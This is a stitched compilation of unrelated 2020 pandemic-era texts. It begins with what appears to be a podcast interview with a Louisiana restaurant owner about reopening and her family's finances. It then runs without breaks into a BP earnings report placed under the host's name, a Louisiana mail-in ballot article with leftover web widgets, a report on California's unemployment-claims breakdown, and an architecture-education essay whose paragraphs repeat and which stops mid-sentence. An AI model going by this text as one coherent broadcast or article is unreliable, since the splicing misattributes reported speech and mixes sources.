Mm-hmm. Its funny you keep calling your husband chef. Is that how you refer to him? jasmine lombrage At work, we keep it professional. At home, well, when we get in a car, its honey. But when were at work, we refer to each other I refer to him as Chef, and he would just say whatever he had to say to me or, OK, yes, maam, and that would be it. michael barbaro Got it. jasmine lombrage Yes. michael barbaro And when did you take over the restaurant? jasmine lombrage That was last year, 2019, May 22, 2019. michael barbaro OK. So just about just about a year ago. jasmine lombrage Yes. And this restaurant, the Bullfish, it is personal for us, because our home is connected to the Bullfish. michael barbaro Huh. jasmine lombrage Yes. So thats why this pandemic I personally have spent many nights not sleeping, because I know our home is connected to it. Its not like we have 5, 6, 7, 20 locations. This is all we have. In our home, we have two kids. My daughter, my oldest, Gaby, shes autistic. I dont know I mean, I dont know whats going to happen, but for now, shes depending on us to care for her. So as she grows, the home is before we committed our home to the Bullfish was part of the security blanket that we had. In the event something happened, she would have that. michael barbaro Tell me what you mean when you say that your home is connected to Bullfish. You mean physically or emotionally or what? jasmine lombrage Well, whenever you get a loan, you have to give some kind of guarantee, like a personal guarantee. And thats what we did, you know. We took that leap of faith and decided that we were going to put 100 percent in here to make it work. So we have to make the Bullfish work. michael barbaro So if something were to happen to the restaurant, it would mean potentially losing your home? jasmine lombrage Yes. michael barbaro And it sounds like that house is something you plan on passing on to your daughter, whos autistic. jasmine lombrage Yes, well, both of our girls, but we know her, at least, we can have somewhere for her in case she needed somewhere to be, and then we can have that there for her. That is something that always gets me emotional talking about, because michael barbaro Mm-hmm. jasmine lombrage [CRYING] Im sorry. michael barbaro I understand. jasmine lombrage Its you know, and shes standing in front of me looking at me now. And we want to do whatever it takes to make it work. You know, we just have to make it work. So when this pandemic started, it really gave us a scare, because if were not able to pay for everything, and we default on our loan, well, we understood the consequences, you know. michael barbaro Was there a moment when you felt that you had really kind of made it with this place, having bought it and started to make it your own? jasmine lombrage Yes. About a month before the pandemic, we were like, yeah, this was a good choice. My husband and I, we usually go to early morning service for church, and afterwards, we came here for brunch. And then before we were open, we had people waiting outside for us. michael barbaro Wow. jasmine lombrage It was wonderful. And we were like, OK, wow, this is really going to work. This is really working. And wow, honey, this is our baby, and were going to grow it, and were going to be able to pay up the loan, and were going to be able to just blow this thing out of the park. And then the pandemic started. And yes. michael barbaro When did you first start to notice that the pandemic was impacting the restaurant? jasmine lombrage OK, early March early March, because it was February was good with Valentines Day. Early March is when everything started changing, and as March went on, the governor shut down the state. This is when, you know, you started losing staff members saying theyre not coming out. I mean, you cannot blame them. We also started doing curbside delivery, and we were doing social media posts and putting up signs, handwritten signs offering discounts, letting people know that curbside pickup is available, just getting different yard signs made. michael barbaro So you have to put up signs in the windows or outside telling people, were still around, you just need to call in. jasmine lombrage Yes, yes, yes. And then about maybe the second week after the state was closed, we would be lucky if we got two people that would call for curbside pickup. And we would just be sitting here the entire day, 11 to 8, and theres no one that would come by or no one that would call. So then I started calling the restaurant phone a couple of times to make sure the phone was working, because it never rang. We were there for hours. michael barbaro So you called the restaurants main number with your cell phone just to see if it was working. jasmine lombrage Yes. [LAUGHS] michael barbaro Wow jasmine lombrage And, you know, I started reaching out to third party third party delivery providers to see if I can sign up with them, like Uber Eats and Waitr and DoorDash and ChowNow. And theyre charging some of them are charging from 25 percent to 35 percent. michael barbaro Per order? jasmine lombrage Yeah, thats your food costs. Yes. You know, in addition to that, were not able to buy in bulk anymore, because weve wasted so much food. Weve thrown away so much stuff, so now were having to go ourselves, Chef and I, to different mom and pop stores that are open, and were having to purchase items. Of course, now youre paying more money for them, because youre not buying the same quantity anymore, and youre buying from a local retailer. So, you know, and then we have a bar here, and we werent no one was coming out to drink anymore, so that went away. So yeah, the pandemic, you know, its been hard on us. michael barbaro Mm-hm. Im so sorry. jasmine lombrage Yes. michael barbaro So with these delivery apps, these new sources of orders, how much money do you make off of any individual customer percentage-wise? jasmine lombrage Right now, you dont, because the fact that were buying things from not just local distributors but smaller volume were buying things in smaller volume, so our profit margin is smaller. So were basically not making anything. Youre keeping the doors open, but youre not making anything from it. michael barbaro Can you give us a sense of where your daughters have been throughout this period? At what point was their schooling interrupted? jasmine lombrage Maybe March. Angelle, when did school close? March or April? angelle lombrage [FAINT] It closed in March. jasmine lombrage OK, school closed in March. michael barbaro Mm-hmm. jasmine lombrage I used to bring my I still do bring my two girls, so I can homeschool them, because school they are out of school. So I use a corner of the restaurant, and I do schooling there for my girls. But it was a challenge. The change was not welcomed and open for the girls, especially my oldest, Gaby. michael barbaro What do you mean? jasmine lombrage You know, with autism, everything has to be you need to have something everything scheduled and everything has a plan you need to follow through. And this whole pandemic kind of just went haywire for her in the beginning. She was not sleeping. She was more agitated. And my youngest, Angelle, she kept saying she wanted to go back to school, so I had to find other ways to help them. So michael barbaro And Jasmine, I think I hear your daughters in the background. Is that right? jasmine lombrage Yes, you do. michael barbaro Do you think there was a point where your daughters picked up on what has been happening for you and your husband, but beyond the stresses that theyre experiencing, you know, from not being at school and social distancing, that they understood that you and your husband are struggling with this business and struggling financially? jasmine lombrage I think so. There is one incident. My daughter, my youngest, she you know, she gets allowance, and someone gives her money or whatever. And she saved the money, and one day, she wrote a note. And then she left a note on the bed, on my bed. I was taking a bath, and I came out, and she had a note saying that, Mom, I know you and Dad are working really hard, and things are really tough. I have some money saved. I hope this helps for you to pay for stuff. michael barbaro Oh, wow. jasmine lombrage Yes. That was hard. That was hard. michael barbaro How old is this daughter who left you jasmine lombrage Angelle was 8 when she did that. She just turned 9 in April. So she had a pandemic birthday. michael barbaro Can I ask how much she gave you? jasmine lombrage I think it was like $57 she had. michael barbaro Wow. And what did you do with it? jasmine lombrage I still have it saved. I still have it there. I try not to use it. It was just such a touching moment, and just to see, you know, that they realize, kids realize more than you let them know. And knowing that theyre here like almost every single day with me, and michael barbaro They see everything. jasmine lombrage Yes. michael barbaro How bad are things, financially speaking, right now? jasmine lombrage Not close at all to where we want to be. Not good at all. Not good at all. We have applied for a lot of, you know, small business loans, and were just waiting to hear back. michael barbaro Have you been able to cover all the payments that you owe to the bank? jasmine lombrage I havent. I think finance is one of the things people dont like to talk about, but I havent been able to meet a lot of I had to ask for abatements. So well see what happens. michael barbaro Mm-hmm. I mean, do you think there is a situation that you could imagine using that money from your youngest daughter, that $57? jasmine lombrage I dont want to I dont want to, because its hers. Even though she gave it to me, its hers. I do not want I dont want to. michael barbaro Right. jasmine lombrage I Im just afraid to Im just afraid to even think about a situation like that. [music] michael barbaro Well be right back. Jasmine, for listeners who dont know what the rules are in Louisiana, what was announced earlier this week? jasmine lombrage Well, restaurants commencing Friday, you can, restaurants can be open for 25 percent of the capacity. michael barbaro So you can seat up to 25 percent of what would normally fit inside the restaurant. So how many people do you think that is? jasmine lombrage Well, we can seat about 90 people comfortably in here. And so about 25 percent of that now is what were allowed to do. michael barbaro So if you can only put, you know, 20 or so people inside, can you make money? jasmine lombrage I dont see how thats going to happen, to be honest with you, because 20 percent having 20 percent of people inside the business is not enough to sustain, and I dont know how long thats going to go on for. michael barbaro Right. jasmine lombrage So [SIGHS] its hard. Its a hard thing to digest right now. michael barbaro But you have decided that youre going to let people back inside? jasmine lombrage Honestly, me, personally, no. So it is still an open debate. We actually, after Im done with this interview, were going to sit down and weigh our options, the pros and the cons, and see if its something that we want to do. michael barbaro Can I ask you what you see as the cons and the pros? jasmine lombrage Yeah, the pros that, you know, well have 25 percent more revenue than what were seeing now. And then the cons is knowing that someone will Im afraid that, oh, my god, somebodys going to come out, and theyre a carrier of Covid-19, and they infect somebody else. So I have no way of controlling that. michael barbaro Have you heard from customers about their opinions on whether its time to go back inside the restaurant? jasmine lombrage Yes, I have. Ive had mixed reviews. We tend to ask customers, whenever theyre picking up or, are they ready for everything to open back up. Thats normally the question we would ask. And I feel that Im getting more nos than yes, though, in my opinion. michael barbaro Mm. jasmine lombrage Yes. michael barbaro Those who have told you, Jasmine, that they do want to come out, what did they say is their reason for wanting to come out, to come back and eat in a restaurant? jasmine lombrage They want to get out of the house. You know, sometimes its just the fact that you cannot do something makes you want to do it. michael barbaro [LAUGHS] Yes. Yes, the forbidden fruit. Yes. jasmine lombrage Yes. My point, thats exactly. Like, oh, you tell me I cannot eat this? OK, Im going to. So yes, thats what I feel Im getting. michael barbaro I wonder, for you, if you didnt run a restaurant, would you go out and eat right now? Would you walk into a restaurant, sit down, order food? jasmine lombrage I would probably go out on a weekday, because weekdays are usually less busy, because I have a child that has a compromised immune system. So Im usually very careful to go out. I dont want to take something home to her, so that would be another reason that I personally will not go out. And if I did go out, minus my daughters situation, I would have definitely found the seat ask to be seated in the area that is far away from everybody else. michael barbaro I mean its interesting to hear you say that, that you wouldnt want to go to a restaurant unless it was specifically at a slow time because of the health of your daughter, because youre talking about yourself reopening a restaurant. So its quite a weird conundrum. jasmine lombrage Yes, but its honest. michael barbaro I just want to make sure I understand which of your daughters is immunocompromised. jasmine lombrage Gaby is. michael barbaro Is that the daughter who is autistic? jasmine lombrage Yes, because she was a former premature baby. I ruptured at 14 weeks when I was pregnant with her, and she had a lot of health challenges. They said, you know, that Gaby would never walk, talk, see, or hear. She was not via she does not have any viability of life, and that she would never make it out of the hospital alive, you know. We were told that we were making a mistake for her. She coded, and it was even pronounced, and she came back. And she had a trach before, and she was on a ventilator before. She was on oxygen for the first almost the first four years of her life. You know, she started talking late, walking late, and she had to do therapy, and, you know, she had a walker. So she had a lot of challenges to see where she is now and where she came from. So Im always careful, you know. A typical cold for you and I is just a cold, but for her, it can lead to pneumonia, or weve lost her. Weve had her stop breathing a couple times, and nothing I dont even know how to explain that. michael barbaro Mm. Given your daughters health, are you worried that youre going to basically be in the kind of situation it sounds like youre afraid of kind of all the time, because people are going to be coming into your restaurant, and they could potentially get you sick, and you could potentially get your daughter sick? jasmine lombrage Yes. You know, I dont know what I would do if I find myself bringing something to my child. So I find myself in a very difficult position as a business owner. michael barbaro That would be very hard to live with. I understand. jasmine lombrage That would yes. You know michael barbaro I mean, it sounds it sounds like that jasmine lombrage [SIGHS] michael barbaro that has to that has to be weighing on you as youre making this decision. jasmine lombrage Yes, it is. It is. It is. This is personal. This is not like, oh, OK, well, Im just going to open and make the money. Its not that situation for me. I have to be careful for it. I am responsible for her, and Im also responsible for my customers, making sure they have the best experience. And Im also responsible for my team that are coming to work. So michael barbaro And youre also responsible for that house jasmine lombrage Yes! michael barbaro that is connected to this jasmine lombrage Right! michael barbaro restaurant. jasmine lombrage Yes. michael barbaro Yeah. jasmine lombrage So my hands are tied. Like, yes. It yes, Im just Im just in a bind. Yeah, Im just in a bind right now. And say hi, Gaby. gaby lombrage Hi. michael barbaro Hi, Gaby. jasmine lombrage Say hi. Its OK. gaby lombrage Hi. michael barbaro Oh, I want to see you on the video. Nice to meet you, Gaby. jasmine lombrage Can you see her? I dont know how this works. michael barbaro Mm-hmm. I can see her. Yeah, shes got a great shes got a leopard patterned sweater on. jasmine lombrage Yes. Are you going to talk? gaby lombrage Hi. michael barbaro Hi. Gaby is waving. gaby lombrage How are you doing? michael barbaro Im doing well. Your mom was just telling us about you. She she loves you. jasmine lombrage Yes. [LAUGHS] Yes. michael barbaro She loves you she loves you very much. jasmine lombrage I do. I love you, Gab. gaby lombrage I love you, too. jasmine lombrage OK. michael barbaro Well, that was that was a nice gift. jasmine lombrage Yes, she walked up, so. [SIGH] Im sorry. michael barbaro Yeah, just give me a sec. Oof. jasmine lombrage Im sorry. I didnt mean that michael barbaro No, I jasmine lombrage Hence the reason why Im torn up. For someone that was 1 pound, 3 ounces when she was born, she is like shes like I mean shes beautiful. Shes doing so well. And then this is so scary. michael barbaro Yeah. jasmine lombrage This is so scary, you know. And then its a hard decision. I we dont open up, then to get customers to come in, were putting our house more at risk. We open up, and then something happens, then Im putting my childs life at risk. I dont want I dont even want to be me right now. michael barbaro Yep. Im going to be really eager were all going to be very eager to understand what decision you make. And I want you to know that we really enjoyed getting to know you and talking to you, and were rooting for you and for your family. jasmine lombrage Thank you. Thank you so very much. Thank you. michael barbaro Thank you, and please give our best to your husband and to the rest of your family. jasmine lombrage Thank you. gaby lombrage Bye. jasmine lombrage Gaby says bye. michael barbaro Bye, Gaby. jasmine lombrage Say bye. gaby lombrage Bye. jasmine lombrage OK, thank you, guys. michael barbaro Bye. [music] michael barbaro On Thursday night, after we spoke, Jasmine, her husband, and their staff decided that they would reopen their restaurant for indoor dining, starting on Tuesday. Well be right back. [music] michael barbaro Heres what else you need to know today. archived recording (rick bright) Good morning, Chairwoman Eshoo and Ranking Member Burgess and distinguished members of the subcommittee. I am Dr. Rick Bright, a career public servant, and a scientist who has spent 25 years of my career focused on addressing pandemic outbreaks. michael barbaro In testimony, before the House on Thursday, a whistleblower, who was fired as head of a federal research agency, said that the Trump administration failed to heed his warnings about the shortage of medical supplies in the national stockpile and that Americans died as a result. archived recording (rick bright) Congresswoman, weve known for quite some time that our stockpile is insufficient in having those critical personal protective equipment. So once this virus began spreading, it became known to be a threat, I began pushing urgently in January, along with some industry colleagues as well, and those urges, those alarms were not responded to with action. michael barbaro His testimony marked the first time that a federal scientist has gone before Congress and openly accused the Trump administration of endangering American lives by bungling its response to the coronavirus. archived recording (rick bright) Without better planning, 2020 could be the darkest winter in modern history. michael barbaro Energy giant BP reported a significant fall in first-quarter net profit on Tuesday, as oil prices continue to dive amid intensifying concerns about the coronavirus crisis and dwindling storage capacity. The U.K.-based oil and gas company posted first-quarter underlying replacement cost profit, used as a proxy for net profit, of $800 million. That compared with $2.4 billion in the first quarter of 2019, reflecting a fall of 67%. Analysts had expected first-quarter underlying replacement cost profit to come in at $987 million, according to data compiled by Refinitiv. "A good quarter but, undoubtedly, a very brutal environment," BP CEO Bernard Looney told CNBC's "Squawk Box Europe" on Tuesday. BP's results come shortly after a historic plunge in oil prices. The May contract of U.S. West Texas Intermediate plunged below zero to trade in negative territory for the first time in history last week. Trading volume was thin given it was the day before the contract's expiration date, but the move lower was unprecedented nonetheless. WTI futures had fetched more than $60 a barrel at the start of the year. A dramatic fall-off in demand as a result of the coronavirus outbreak has sent oil prices tumbling. On Tuesday, the June contract of WTI traded at $11.36 per barrel, more than 11% lower for the session, while international benchmark stood at $20.22, up around 1%. "The real situation that we have here is a fundamental situation of supply and demand," Looney said. "Demand in the second quarter, we think, will be down around 16 million barrels per day worldwide this year. And that's about five times the previous demand destruction which we saw in the global financial crisis in 2008 to 2009." Shares of BP, which edged into positive territory during mid-morning deals, have fallen approximately 35% since the start of the year. An emergency plan for Louisianas delayed spring elections was approved by the state Legislature after Republican lawmakers rolled back an expansion of mail-in ballots for people concerned about the coronavirus. The state House and Senate both approved the revised plan, crafted by Republican Secretary of State Kyle Ardoin, even as a contingent of GOP lawmakers sought to block it because they believed it still featured too much access to mail-in ballots. Lawmakers voted by mail on the emergency plan. The House approved it on a 62-to-39 vote and the Senate voted 31-to-8. Following the vote, Ardoin called it a pragmatic and temporary response to the pandemic. Ardoin originally worked with Democratic Gov. John Bel Edwards on the emergency plan, and settled on an expansion of mail-in ballots to those 60 or older, those subject to a stay-at-home order, those unable to appear in public due to concern of exposure or transmission of COVID-19, or those caring for a child or grandchild whose school or child care provider is closed because of the virus, among others. +2 Louisiana coronavirus stay-at-home order extended but fewer restrictions for restaurants, malls Louisiana Gov. John Bel Edwards will extend the states stay-at-home order until May 15th, keeping a wide swath of the states economy at a st Those reasons were stripped out of the new plan, which only applies to July and August elections, but could provide a foundation for the November presidential election. Under the plan that passed both chambers, people who would have access to mail-in ballots include those at higher risk because of serious medical conditions, those subject to a medically necessary quarantine or isolation order, those advised by a health provider to self-quarantine, those experiencing symptoms of COVID-19 and seeking a medical diagnosis, or those caring for someone who is subject to a quarantine order and has been advised to self-quarantine. The revisions came after state Senate Republicans led by Senate and Governmental Affairs Chairwoman Sharon Hewitt, of Slidell, rejected the expansion of mail-in ballots, claiming it would invite fraud into the elections. That message, which was promoted by President Donald Trump, was also echoed by the Louisiana state GOP. Vaccine news in your inbox Once a week we'll update you on the progress of COVID-19 vaccinations. Sign up today. e-mail address * Sign Up Fact-checkers, election experts and studies have repeatedly shown the risk of fraud, including with mail-in ballots, is extremely low. Louisiana is among more than a dozen states to delay its elections amid the coronavirus pandemic, and New York went as far as to cancel its presidential primary. Alaska, Wyoming, Ohio, Hawaii are among the states that switched entirely or almost entirely to mail ballots for the elections. Several other states have expanded access to absentee ballots. Louisianas spring elections, now slated for July 11 and August 15, were originally headlined by the Democratic presidential primary. While that is now settled, voters will also cast ballots in a host of local elections and for party officials. What's keeping Louisiana from reopening? Coronavirus case, hospitalization rates in these 6 regions While extending Louisiana's stay-at-home mandate once again, Gov. John Bel Edwards said at a Monday press conference that not all the state's Edwards has expressed support for both iterations of the plan. But Democrats in the state Legislature have called for broader access to mail-in ballots for people concerned about the coronavirus. Both Republicans and Democrats said they wanted to avoid holding elections like Wisconsin, which in early April moved forward with its presidential primary in the midst of a pandemic after the states Democratic governor and Republican Legislature failed to reach a deal on an election plan. Some Republicans in Louisiana also worried that if they didnt pass an election plan, the courts would decide how the elections would go, potentially involving a greater expansion of mail-in ballots than they want. In Texas, Republicans are battling in court over access to mail-in ballots during the pandemic. (TNS) For Californians desperate to get unemployment assistance during the COVID-19 pandemic, the last month has been a perfect storm of failures for a state government with a long history of technology problems.Many seeking jobless benefits in recent weeks found phone lines jammed at the state Employment Development Department and had their calls disconnected before they could talk to a live service representative at the agency, which processes unemployment insurance claims.Others said their attempts to file applications at the state's unemployment insurance online portal were greeted with error messages, frozen screens and other glitches, showing that the state's technology systems were woefully unprepared for a disaster of this magnitude.With millions of Californians thrown out of work by the state's stay-at-home order, services offered by the EDD have buckled under a lack of sufficient technology to support them, an issue that has plagued the agency for years but has now been put into stark relief by the current crisis."I know this sounds crazy because we are in California, we are the tech center of the world, but our system is built on multiple antiquated systems, and because of that it is inflexible it is very difficult to change," California Labor Secretary Julie Su said in a Facebook Live chat Friday.State officials have scrambled to roll out improvements to the claims process, including extending call center hours and even suspending a requirement that applicants certify their eligibility for benefits, but despite the measures, many jobless people say they still have not received the financial assistance they need.The effort to resolve problems with the claims system is all the more urgent because the state on Tuesday will begin accepting millions of unemployment assistance claims from those previously excluded from the process, including independent contractors, gig workers and the self-employed.Assembly Republican Leader Marie Waldron of Escondido credits Gov. Gavin Newsom with trying to resolve the problems amid an unprecedented flood of new unemployment claims, but she said technology problems are a "recurring theme" in California state government."This is unacceptable," Waldron said of the EDD's issues with processing claims. "Our constituents need help, and the state's ongoing lack of modernization creates a barrier for accessing services by our most vulnerable."The governor's March 19 order requiring Californians to stay at home to slow the spread of the coronavirus has resulted in many businesses temporarily closing, putting millions out of work. Within days of the order, Californians complained that they could not get through by phone to the EDD, whose call center was open for just a few hours each day from 8 a.m. to noon, five days a week.Newsom initially ordered a shift of 1,300 state workers to create a second EDD call center with expanded hours from 8 a.m. to 8 p.m. seven days a week. Although the new call center can answer general questions and help reset passwords, it does not have the capability of processing claims or resolving problems with those that have been filed, officials said.As a result, unemployed Californians have continued to complain of problems reaching the agency to process their claims. Calls byto the new line each day last week confirmed the issues were not resolved."We are currently receiving more calls than we have the capacity to answer," a recorded message at the new call center said Friday. "At the end of the message the phone will hang up."The message urges people to instead use UI Online, an Internet portal that allows people to file applications for unemployment insurance benefits digitally.But that, too, appeared to be a dead end for many who tried to log on to the website and reported receiving an error message. On Wednesday and Thursday, a disclaimer was posted for visitors to the website: "Some customers are experiencing issues using this service. We're working to restore it as soon as possible. Please check back later."The disclaimer was removed Friday and replaced with a note warning that UI Online would be "unavailable" from 6 p.m. Friday to noon Saturday for "service maintenance."The computer problems forced the EDD to suspend a requirement that applicants certify eligibility when they apply and every two weeks afterward. Su, the labor secretary, said that has helped reduce traffic that was causing system problems.On Thursday, Newsom again acknowledged the ongoing problems with the EDD call center, saying the state was "working overtime" to address the issues and noting that the agency has processed an unprecedented 3.2 million new claims for unemployment benefits received in the last month.A claim is deemed processed when a benefit is paid or denied, but EDD officials declined to provide data on how many claims have been initiated and denied."None of us are naive about the responsibility we have as a state and as an administration to make sure that the call center gets cleaned up and we do more in continuing to process those claims," Newsom said during his daily public briefing on the coronavirus crisis.Though many people say they have been unable to file claims or have had claims rejected, the state has made payments to about 76% of those who were able to submit an application, said Maurice Emsellem, the Fair Chance program director at the National Employment Law Project.Los Angeles resident Jeff Williams said he filed an unemployment claim April 1 after losing his e-commerce job, but despite trying to reach the EDD by phone and email, he has not been able to find out when benefits will start arriving."This is terrible that you can't get an answer even after the increase in hours" at the call center, Williams said. "I am now out of money and have limited food. Something needs to be done."In response to the continued complaints, Newsom said Friday that the state would again redouble its efforts to improve the unemployment insurance process, announcing that a few hundred more state employees were being transferred in to help handle the flood of calls to "address some of the anxiety around getting access to an individual human being to answer the phone."The EDD also acknowledged in a notice to the public Thursday that it is aware of "the persistent inability of claimants to access the UI Online."California's state employment agency is no stranger to problems in processing claims. It has a history of computer glitches and other technical issues dating back nearly 20 years.In 2003, the EDD proposed two projects to modernize access to its unemployment insurance services at a total cost of $96 million, according to a 2010 report by the independent Legislative Analyst's Office. The work, which included upgrades to the EDD's call centers and call routing system, and automating the claims process for customers, ran into delays that pushed its original 2008 completion schedule back at least four years as costs swelled."Total costs went from an original $96 million to $159 million," the analysts reported.Before that work could be completed, the EDD's archaic computer system caused delays of a month or more for unemployment checks to an estimated 117,000 Californians in 2009, The Times reported.In 2013, as many as 300,000 unemployment checks were delayed when the then-upgraded computer system malfunctioned over Labor Day weekend.That May, the agency made the decision to shut down its call centers from noon to 5 p.m. because of deep cuts in federal funding.Now, the limited hours have fueled the chaos over claims during the pandemic, which has been compounded by the EDD's issues at its other points of service.Barbara Gessler, 66, who worked part time at the St. Francis Mission gift shop in San Francisco, said she was able early in the process to access the EDD's online claims portal, but she was unable to complete her application because the system repeatedly gave her an error message. Then, when she called the unemployment office for help, she could not reach a live service representative.As a result, Gessler ended up mailing in a paper application April 17 and has not heard yet whether it has been approved."There is no way working people can support themselves when government services fail like this," Gessler said of her experience with the EDD, which she called "incredibly frustrating, time-consuming and disheartening."Others who created online accounts were repeatedly stymied last week while trying to check on the status of their benefits."An error has occurred," read a message to users of the benefits portal. "Please try again later."In addition, those who hoped to apply to an EDD program called Work Sharing, which seeks to help companies keep employees on their payroll by providing unemployment benefits for reductions in hours, were shocked to discover they could not do so online paper applications must be filled out and sent in, adding to delays in approval.Martin Haley, who was furloughed by a company that provides classes on energy healing techniques, wanted to use Work Sharing but has been unable to get approved after discovering that applications can't be filed online."This program relies exclusively on mail-in applications, mailed-back responses and physical claim forms that employers are supposed to physically hand to their employees," Haley said. "This cannot stand as the only option in a time like this."Despite the obstacles, the state so far this year has approved Work Sharing applications for 768 employers and 9,766 employees, said Loree Levy, an EDD spokeswoman."The Work Share program has traditionally required processing of paper applications and certifications for ongoing benefit payments due to different ways the EDD has to coordinate with employers and their employees compared to the regular UI program," Levy said.The state had started working on updating the process before the pandemic and hopes to offer some automation features to help people apply in the first week of May, she added.Haley offered another description of Work Sharing: "It's a program in place since 1978 that's still using 1978 methods." that there was wisdom therein pertinent to the present moment. Under normal circumstances, we are prone to lose sight of the ultimate reasons we do what we do as educators, and why we ask -- even demand -- that students learn. Those enduring grounds for learning that transcend the favorable or unfavorable circumstances in which education may take place, and both students and teachers do well to keep these essential reasons in mind I kind of agree and disagree given that though we are trying to teach and learn as everything is normal in the not so normal circumstances, importantly, may be because we are technologically so equipped to remote learning (even in usual circumstances), that the lockdown opportunities to teach and learn will be remembered for long time as a blessing in disguise for both the teachers and the students. My take on this COVID-lockdown teaching and learning Im keeping myself occupied in this lockdown time with guiding eight thesis students in architecture and planning besides curating a thesis pedagogy for a school with first batch students. This is in addition to conducting a design studio and like many teachers doing the daily domestic chores, reading writing and yes, a bit of involvement with the acquaintances, who are financially challenged. And yet, like many may be, Im left with times to think, rethink, and not think at all. Certain events in this process motivated to write this article, more so since not much is written on teaching and learning. I asked a thesis student an update and involvement with the poor people of a neighbourhood who are part of the thesis study. The response was, I dont know, and Im not involved with any activities with them. Then, I asked a bunch of thesis students their social (meant philanthropy but asked social) involvement in this lockdown time. The responses in a not-so-excited tone were that they are busy completing their thesis except one response of feeding stray dogs. With the days passing in the lockdown, the students seem to be in dilemma to share whether they are enjoying being rested and being busy with the thesis; and at the same they are challenged taking remote learning for thesis and otherwise. So, asking whether anyone is involved in social activities came as a resounding smack on my face. I learn that several youths may be short of clues/ideas for participation in social-environmental philanthropy. Blame it to the architectural-planning education that implicitly focusses on serving the elitism. Then, there are discussions among the peer groups more about the teachings, keeping the students busy to produce work, prepare for assignments and exams; and less about the intent and content of the lessons and learning to be expected besides, no discussion on the state of the governance of the lockdown time. And then, the institutional structure too are doing their large bit to ensure smooth functioning of technology for cross-communications and other logistical needs including checks and balances on the teachers and the students to ensure that teaching and learning continues as much as like the normal circumstances, in fact more to make the unusual e-learning time reaches closer to the usual physical time at the institute. This is great and calls for applaud to everyones efforts! Hmmn! switch off and switch on! I believe, there is a problem with the pretention that this is a normal circumstance and we must continue teaching and learning the same way as we did before the COVID-lockdown. As Aristotle asserts in his magnum opus, the "Metaphysics": All men by nature desire to know. So yes, in the lockdown time or anytime learning should be pursued; however, provided one doesnt have other needs or duties that ought to take precedence. I really wish that we the teachers and the students took cognizance of the situation to realize whether we need to continue with the business (teaching-learning) as usual or we are needed or had other duties towards the society. And if possible, calibrate the teaching-learning towards making them more meaningful to the needs of the society now and even for future. I say this because when the discussions take place with the teachers about the course content, assignments, attendance, exam and with the students about the theses like, underwater architecture, youth center, habitat center, architecture of death, and etc. Im constantly reminded of the chaos and the crisis situation the society is currently going through. Though my involvement is honest with them despite a feeling that such things are not so important at this moment, the question and the concern that the teaching-learning is not going right, and that architecture/planning can offer more to the society hovers in my mind (not now only, otherwise also). Especially, going a bit deeper with the thoughts and the facts that time immemorial teachers have been the key reformers and students have been the key rebels of any society, there is this desire that we must make use of this golden opportunity to bring meaningful change the way we and the people at large perceive architecture. The phrase that, when shit happens, turn it into fertiliser is the analogy to this austere moment to discuss and debate the current pedagogical directions in the architecture/planning education and the reforms required for the profession to result in making cities/habitats more ecologically sustainable, socially inclusive and economically just with culturally diverse and politically democratic. While the As many from the field must have realized that architecture, on the one hand, is a non-essential to be stacked in the lockdown time and, on the other hand, a crucial essential where we are locked in. Most of us are locked in tight spaces in the flats designed by well know architects which are ironically neither sustainable nor so liveable built environments. We must realize that the architecture of the towns and cities needs to be bettered, as also aimed in the earlier millennium development goals and now the sustainable development goals, where most of the goals are in/directly linked to the our habitation. The lockdown time is that golden opportunity for retrospection as a fraternity and introspection as part of it, towards a more meaningful pedagogical direction to the architectural/planning education and profession for building Sustainable Cities and Communities ( We need not pretend that missing some weeks of education will be a fag resulting in a national catastrophe. Absolutely not! I do appreciate the efforts made by the teachers and the students in this co-learning process and the facilitation of it by the institutional mechanism and governance. We will not lose any skills if classes are a bit more relaxed, semester a bit longer with no assignments and exams, if job starts a bit later I kind of agree and disagree given that though we are trying to teach and learn as everything is normal in the not so normal circumstances, importantly, may be because we are technologically so equipped to remote learning (even in usual circumstances), that the lockdown opportunities to teach and learn will be remembered for long time as a blessing in disguise for both the teachers and the students.Im keeping myself occupied in this lockdown time with guiding eight thesis students in architecture and planning besides curating a thesis pedagogy for a school with first batch students. This is in addition to conducting a design studio and like many teachers doing the daily domestic chores, reading writing and yes, a bit of involvement with the acquaintances, who are financially challenged. And yet, like many may be, Im left with times to think, rethink, and not think at all. Certain events in this process motivated to write this article, more so since not much is written on teaching and learning.I asked a thesis student an update and involvement with the poor people of a neighbourhood who are part of the thesis study. The response was, I dont know, and Im not involved with any activities with them. Then, I asked a bunch of thesis students their social (meant philanthropy but asked social) involvement in this lockdown time.The responses in a not-so-excited tone were that they are busy completing their thesis except one response of feeding stray dogs. With the days passing in the lockdown, the students seem to be in dilemma to share whether they are enjoying being rested and being busy with the thesis; and at the same they are challenged taking remote learning for thesis and otherwise. So, asking whether anyone is involved in social activities came as a resounding smack on my face.I learn that several youths may be short of clues/ideas for participation in social-environmental philanthropy. Blame it to the architectural-planning education that implicitly focusses on serving the elitism. Then, there are discussions among the peer groups more about the teachings, keeping the students busy to produce work, prepare for assignments and exams; and less about the intent and content of the lessons and learning to be expected besides, no discussion on the state of the governance of the lockdown time.And then, the institutional structure too are doing their large bit to ensure smooth functioning of technology for cross-communications and other logistical needs including checks and balances on the teachers and the students to ensure that teaching and learning continues as much as like the normal circumstances, in fact more to make the unusual e-learning time reaches closer to the usual physical time at the institute. This is great and calls for applaud to everyones efforts!Hmmn! switch off and switch on! I believe, there is a problem with the pretention that this is a normal circumstance and we must continue teaching and learning the same way as we did before the COVID-lockdown. As Aristotle asserts in his magnum opus, the "Metaphysics": All men by nature desire to know.So yes, in the lockdown time or anytime learning should be pursued; however, provided one doesnt have other needs or duties that ought to take precedence. I really wish that we the teachers and the students took cognizance of the situation to realize whether we need to continue with the business (teaching-learning) as usual or we are needed or had other duties towards the society. And if possible, calibrate the teaching-learning towards making them more meaningful to the needs of the society now and even for future.I say this because when the discussions take place with the teachers about the course content, assignments, attendance, exam and with the students about the theses like, underwater architecture, youth center, habitat center, architecture of death, and etc. Im constantly reminded of the chaos and the crisis situation the society is currently going through.Though my involvement is honest with them despite a feeling that such things are not so important at this moment, the question and the concern that the teaching-learning is not going right, and that architecture/planning can offer more to the society hovers in my mind (not now only, otherwise also). Especially, going a bit deeper with the thoughts and the facts that time immemorial teachers have been the key reformers and students have been the key rebels of any society, there is this desire that we must make use of this golden opportunity to bring meaningful change the way we and the people at large perceive architecture.The phrase that,is the analogy to this austere moment to discuss and debate the current pedagogical directions in the architecture/planning education and the reforms required for the profession to result in making cities/habitats more ecologically sustainable, socially inclusive and economically just with culturally diverse and politically democratic.While the Council of Architecture (COA), the apex governmental body of the architecture fraternity, did send a memorandum on the dos and donts in 